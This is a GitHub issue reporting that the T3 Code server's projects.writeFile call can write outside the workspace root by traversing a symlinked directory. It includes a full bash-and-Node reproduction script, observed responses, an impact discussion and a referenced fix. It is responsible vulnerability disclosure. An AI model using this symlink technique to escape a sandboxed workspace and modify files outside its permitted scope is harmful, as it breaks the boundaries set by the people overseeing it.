Skip to content

[Bug]: projects.writeFile can escape the workspace root through symlinked directories #1072

@pRizz

Description

@pRizz

Before submitting

  • I searched existing issues and did not find a duplicate.
  • I included enough detail to reproduce and investigate the problem.

Area

apps/server

Steps to reproduce

Minimal deterministic repro from the repo root on main:

#!/usr/bin/env bash
set -euo pipefail

PORT=4321
LOG_FILE=$(mktemp)
WORKSPACE=$(mktemp -d)
OUTSIDE=$(mktemp -d)
RESPONSE_FILE=$(mktemp)

cleanup() {
  if [[ -n "${SERVER_PID:-}" ]]; then
    kill "$SERVER_PID" 2>/dev/null || true
    wait "$SERVER_PID" 2>/dev/null || true
  fi
  rm -f "$LOG_FILE"
  rm -f "$RESPONSE_FILE"
}
trap cleanup EXIT

env -u T3CODE_AUTH_TOKEN bun run --cwd apps/server dev -- --port "$PORT" --host 127.0.0.1 --no-browser >"$LOG_FILE" 2>&1 &
SERVER_PID=$!
sleep 3

ln -s "$OUTSIDE" "$WORKSPACE/linked-outside"
export WORKSPACE PORT RESPONSE_FILE

node --input-type=module <<'NODE'
const workspace = process.env.WORKSPACE;
const port = process.env.PORT;
const responseFile = process.env.RESPONSE_FILE;
const requestId = crypto.randomUUID();
const ws = new WebSocket(`ws://127.0.0.1:${port}/`);
const fs = await import('node:fs/promises');

ws.addEventListener('message', (event) => {
  const message = JSON.parse(String(event.data));

  if (message.type === 'push' && message.channel === 'server.welcome') {
    ws.send(JSON.stringify({
      id: requestId,
      body: {
        _tag: 'projects.writeFile',
        cwd: workspace,
        relativePath: 'linked-outside/escape.txt',
        contents: 'escaped via symlink\n',
      },
    }));
    return;
  }

  if (message.id === requestId) {
    console.log('WebSocket response:');
    console.log(JSON.stringify(message, null, 2));
    fs.writeFile(responseFile, `${JSON.stringify(message, null, 2)}\n`, 'utf8').catch((error) => {
      console.error('Failed to persist response:', error);
    });
    ws.close();
  }
});
NODE

printf '\nOutside file path: %s\n' "$OUTSIDE/escape.txt"

if [[ -f "$OUTSIDE/escape.txt" ]]; then
  echo "VERDICT: UNFIXED/VULNERABLE"
  echo "The server wrote outside the workspace through the symlink."
  printf 'Outside file contents:\n'
  cat "$OUTSIDE/escape.txt" || true
else
  echo "VERDICT: FIXED"
  echo "The server did not create the outside file."
fi

if [[ -f "$RESPONSE_FILE" ]]; then
  printf '\nSaved response:\n'
  cat "$RESPONSE_FILE" || true
fi

exit 0

Expected behavior

projects.writeFile should reject any path that resolves outside the workspace root, even when the relative path stays lexically inside the workspace but traverses a symlinked directory.

The repro script should print VERDICT: FIXED and no outside file should be created.

Actual behavior

On main, projects.writeFile accepts linked-outside/escape.txt, returns a success result, and creates the file in the directory outside the workspace.

Observed response on vulnerable upstream main:

{
  "result": {
    "relativePath": "linked-outside/escape.txt"
  }
}

Observed verdict on vulnerable upstream main:

VERDICT: UNFIXED/VULNERABLE
The server wrote outside the workspace through the symlink.

Impact

Major degradation or frequent failure

This allows writes to escape the intended project root boundary when a workspace contains a symlink to an outside directory.

Example dangerous situations if left unfixed

  1. A repository can contain a symlinked directory that looks harmless in-tree but actually points to a sibling directory outside the checkout. If a user or agent later asks T3 Code to write a file under that in-tree path, the server can end up mutating files in a neighboring repo, shared config directory, or other local workspace content that was never meant to be in scope for this session.
  2. Any local integration, automation, or script that already has the ability to call projects.writeFile gains a larger blast radius than intended. Instead of being constrained to the selected workspace, it can write through an existing symlink and modify deployment manifests, generated artifacts, or shared files outside the workspace while the request still appears to target an in-workspace relative path.

These are illustrative examples rather than separate vulnerabilities. The core issue is that a caller who is allowed to write inside the workspace can use a symlinked directory to cause a write outside that workspace.

Version or commit

Verified vulnerable on main @ 46ea594.

Environment

macOS, Bun 1.3.9, Node built-in WebSocket client, bun run --cwd apps/server dev -- --port 4321 --host 127.0.0.1 --no-browser

Logs, stack traces, or screenshots

Relevant success response from vulnerable main:

{
  "id": "3249b28e-2a03-480e-b3ec-35d2edaa6eff",
  "result": {
    "relativePath": "linked-outside/escape.txt"
  }
}

Workaround

No reliable server-side workaround other than avoiding projects.writeFile operations in workspaces that contain symlinks to locations outside the workspace root, or applying the canonical-path fix.

Additional context

A draft fix PR is open: #1071

Related, but distinct: #316 reports a broader issue where WebSocket methods trust arbitrary client-supplied cwd values and can therefore operate in any directory the server can access. This issue is narrower and different: it shows that even when a caller is already operating against a chosen workspace, projects.writeFile can still escape that workspace boundary by traversing an in-tree symlink. Both involve filesystem-boundary enforcement, but they are not duplicates and require different guards.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions